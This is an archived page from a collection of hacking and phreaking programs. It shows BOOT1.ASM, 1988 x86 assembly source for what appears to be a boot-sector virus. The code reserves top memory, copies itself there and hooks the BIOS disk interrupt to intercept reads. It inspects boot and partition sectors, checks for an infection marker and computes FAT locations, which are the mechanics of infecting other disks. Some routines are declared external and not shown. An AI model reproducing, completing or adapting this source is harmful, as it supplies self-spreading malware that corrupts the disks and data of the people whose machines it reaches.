home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / BOOT1.ASM < prev    next >
Assembly Source File  |  1988-12-28  |  3KB  |  232 lines

  1.     name    boot1_asm
  2.     .radix    16
  3.  
  4. start:
  5.     jmp    boot
  6.  
  7.     db    'IBM  3.3'
  8.     dw    200
  9.     db    2
  10.     dw    1
  11.     db    2
  12.     dw    70
  13.     dw    2D0
  14.     db    0FDh
  15.     dw    2
  16.     dw    9
  17.     dw    2
  18.     dw    0
  19.  
  20. boot:
  21.     xor    ax,ax
  22.     mov    ss,ax
  23.     mov    sp,7C00
  24.     mov    ds,ax
  25.     mov    ax,[413]
  26.     sub    ax,2
  27.     mov    [413],ax
  28.     mov    cl,6
  29.     shl    ax,cl
  30.     sub    ax,7C0
  31.     mov    es,ax
  32.     mov    si,7C00
  33.     mov    di,si
  34.     mov    cx,100
  35.     rep    movsw
  36.     db    8E,0C8
  37. ;    mov    cs,ax
  38.     push    cs
  39.     pop    ds
  40.     call    n_00014A
  41. n_00014A:
  42.     xor    ah,ah
  43.     int    13
  44.     and    byte ptr [7DF8],80
  45.     mov    bx,[7DF9]
  46.     push    cs
  47.     pop    ax
  48.     sub    ax,20
  49.     mov    es,ax
  50.     call    n_00019D
  51.     mov    bx,[7DF9]
  52.     inc    bx
  53.     mov    ax,0FFC0
  54.     mov    es,ax
  55.     call    n_00019D
  56.     xor    ax,ax
  57.     mov    byte ptr [7DF7],al
  58.     mov    ds,ax
  59.     mov    ax,[4C]
  60.     mov    bx,[4E]
  61.     mov    [4C],7CD0
  62.     mov    [4E],cs
  63.     push    cs
  64.     pop    ds
  65.     mov    [7D2A],ax
  66.     mov    [7D2C],bx
  67.     mov    dl,byte ptr [7DF8]
  68.     jmp    far ptr f_007C00
  69.  
  70.     mov    ax,301
  71.     jmp    short n_0001A0
  72. n_00019D:
  73.     mov    ax,201
  74. n_0001A0:
  75.     xchg    ax,bx
  76.     add    ax,[7C1C]
  77.     xor    dx,dx
  78.     div    word ptr [7C18]
  79.     inc    dl
  80.     mov    ch,dl
  81.     xor    dx,dx
  82.     div    word ptr [7C1A]
  83.     mov    cl,6
  84.     shl    ah,cl
  85.     or    ah,ch
  86.     mov    cx,ax
  87.     xchg    ch,cl
  88.     mov    dh,dl
  89.     mov    ax,bx
  90. n_0001C3:
  91.     mov    dl,byte ptr [7DF8]
  92.     mov    bx,8000
  93.     int    13
  94.     jnb    n_0001CF
  95.     pop    ax
  96. n_0001CF:
  97.     ret
  98.  
  99.     push    ds
  100.     push    es
  101.     push    ax
  102.     push    bx
  103.     push    cx
  104.     push    dx
  105.     push    cs
  106.     pop    ds
  107.     push    cs
  108.     pop    es
  109.     test    byte ptr [7DF7],1
  110.     jne    n_000223
  111.     cmp    ah,2
  112.     jne    n_000223
  113.     cmp    byte ptr [7DF8],dl
  114.     mov    byte ptr [7DF8],dl
  115.     jne    n_000212
  116.     xor    ah,ah
  117.     int    1A
  118.     test    dh,7F
  119.     jne    n_000203
  120.     test    dl,0F0
  121.     jne    n_000203
  122.     push    dx
  123.     call    n_0003B3
  124.     pop    dx
  125. n_000203:
  126.     mov    cx,dx
  127.     sub    dx,[7EB0]
  128.     mov    [7EB0],cx
  129.     sub    dx,24
  130.     jb    n_000223
  131. n_000212:
  132.     or    byte ptr [7DF7],1
  133.     push    si
  134.     push    di
  135.     call    n_00022E
  136.     pop    di
  137.     pop    si
  138.     and    byte ptr [7DF7],0FE
  139. n_000223:
  140.     pop    dx
  141.     pop    cx
  142.     pop    bx
  143.     pop    ax
  144.     pop    es
  145.     pop    ds
  146.     jmp    far ptr f_0C833E
  147.  
  148. n_00022E:
  149.     mov    ax,201
  150.     mov    dh,0
  151.     mov    cx,1
  152.     call    n_0001C3
  153.     test    byte ptr [7DF8],80
  154.     jz    n_000263
  155.     mov    si,81BE
  156.     mov    cx,4
  157. n_000246:
  158.     cmp    byte ptr [si+4],1
  159.     je    n_000258
  160.     cmp    byte ptr [si+4],4
  161.     je    n_000258
  162.     add    si,10
  163.     loop    n_000246
  164.     ret
  165.  
  166. n_000258:
  167.     mov    dx,[si]
  168.     mov    cx,[si+2]
  169.     mov    ax,201
  170.     call    n_0001C3
  171. n_000263:
  172.     mov    si,8002
  173.     mov    di,7C02
  174.     mov    cx,1C
  175.     rep    movsb
  176.     cmp    [81FC],1357
  177.     jne    n_00028B
  178.     cmp    byte ptr [81FBh],0
  179.     jnb    n_00028A
  180.     mov    ax,[81F5]
  181.     mov    [7DF5],ax
  182.     mov    si,[81F9]
  183.     jmp    n_000392
  184. n_00028A:
  185.     ret
  186.  
  187. n_00028B:
  188.     cmp    [800Bh],200
  189.     jne    n_00028A
  190.     cmp    byte ptr [800Dh],2
  191.     jb    n_00028A
  192.     mov    cx,[800E]
  193.     mov    al,[8010]
  194.     cbw
  195.     mul    word ptr [8016]
  196.     add    cx,ax
  197.     mov    ax,20
  198.     mul    word ptr [8011]
  199.     add    ax,1FF
  200.     mov    bx,200
  201.     div    bx
  202.     add    cx,ax
  203.     mov    word ptr [7DF5],cx
  204.     mov    ax,[7C13]
  205.     sub    ax,[7DF5]
  206.     mov    bl,[7C0Dh]
  207.     xor    dx,dx
  208.     xor    bh,bh
  209.     div    bx
  210.     inc    ax
  211.     mov    di,ax
  212.     and    byte ptr [7DF7],0FBh
  213.     cmp    ax,0FF0
  214.     jbe    n_0002E0
  215.     or    byte ptr [7DF7],4
  216. n_0002E0:
  217.     mov    si,1
  218.     mov    bx,[7C0E]
  219.     dec    bx
  220.     mov    [7DF3],bx
  221.     mov    byte ptr [7EB2],0FE
  222.     jmp    short n_000300
  223.  
  224.     db    1,0,0C,0,1,0,48,1,0,57,13
  225.  
  226.     dw    0AA55
  227.  
  228. n_000300:
  229.  
  230.     extrn    n_000392:near,n_0003B3:near
  231.     extrn    f_007C00:far,f_0C833E:far
  232.